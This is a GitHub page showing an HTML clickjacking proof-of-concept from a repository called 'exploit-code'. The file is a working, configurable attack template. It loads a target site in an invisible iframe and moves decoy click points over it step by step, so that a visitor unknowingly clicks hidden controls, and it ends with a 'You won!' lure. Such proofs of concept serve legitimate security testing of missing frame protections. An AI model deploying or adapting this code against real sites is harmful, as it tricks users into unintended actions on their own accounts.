exploit-code/Adva-ClickJacking-PoC.html at main · Updatelap/exploit-code · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<html>
<head>
<meta charset="utf-8">
<title>Clickjacking Proof-of-Concept-Exploit</title>

<script>
var config = {
    "url":"http://TARGETUSRL/EndPoint", // Start URL of victim
    "steps": [
  {
      "x": 11,      // Coordinates of the click point
      "y": 134,
      "framewidth": 1000,   // Frame dimensions
      "frameheight": 600,
      "next": "mouseover",  // Trigger for next click point - mouseover: on mouse touch - load: on load event of the frame
      "delay": 1000,    // Delay before next click point is shown
      "content": "&times;"  // Content of the click point - left untouched if missing
  },
  {
      "x": 20,
      "y": 13,
      "framex": -30,    // Coordinates of the frame - left untouched if missing
      "framey": -200,
      "framewidth": 1200,
      "frameheight": 800,
      "next": "load"
  },
  {
      "x": 220,
      "y": 101,
      "framex": 0,
      "framey": 0,
      "framewidth": 800,
      "frameheight": 800,
      "next": "mouseover",
      "delay": 2000
  },
  {
      "x": 500,
      "y": 300,
      "content":"<span style='font-size:64px;'>You won!</span>"
  },
    ]
};
var cur = 0;
var curcp = config.steps[window.cur];
var init = true;

function setOpacity() {
    document.getElementById("frm").style.opacity = document.getElementById("opacity").value;
}

function initFrame() {
    document.getElementById("frm").src = config.url;
}

function doInit() {
    document.getElementById("cp").style.display = "inline";
    initClickpoint();
}

function initClickpoint() {
    var cp = document.getElementById("cp");
    var frm = document.getElementById("frm");
    curcp = config.steps[window.cur];
    cp.style.left = curcp.x + "px";
    cp.style.top = curcp.y + "px";
    if (curcp.framewidth != undefined && curcp.frameheight != undefined) {
  frm.style.width = curcp.framewidth + "px";
  frm.style.height = curcp.frameheight + "px";
    }
    if (curcp.framex != undefined && curcp.framey != undefined) {
  frm.style.left = curcp.framex + "px";
  frm.style.top = curcp.framey + "px";
    }
    if (curcp.content) {
  cp.innerHTML = curcp.content;
    }
    if (curcp.next == "mouseover") {
  cp.style.zIndex = 10;
    }
}

function nextClickpoint() {
    if (config.steps[++cur]) {
  curcp = config.steps[window.cur];
  initClickpoint();
    }
}

function frameLoad() {
    if (document.getElementById("frm").src == "" && init) {
    } else if (init) {
  doInit();
  init = false;
    } else if (config.steps[window.cur].next == "load") {
  nextClickpoint();
    }
}

function cpMouseOver() {
    if (curcp.next == "mouseover") {
  cp.style.zIndex = -10;
  if (curcp.delay > 0) {
      setTimeout(nextClickpoint, curcp.delay);
  }
    }
}
</script>
</head>
<body onload="initFrame()">
<iframe id="frm" style="position:absolute;border:0px;top:0px;left:0px;width:1000;height:600;opacity:0;z-index:5;" onload="frameLoad();"></iframe>
<div id="cp" style="position:fixed;display:none;z-index:-10;" onmouseover="cpMouseOver()"></div>
<div style="position:fixed;right:0px;bottom:0px;">
    <input id="opacity" type="range" min="0" max="1" step="0.01" value="0" oninput="setOpacity()" onchange="setOpacity()">
</div>
</body>
</html>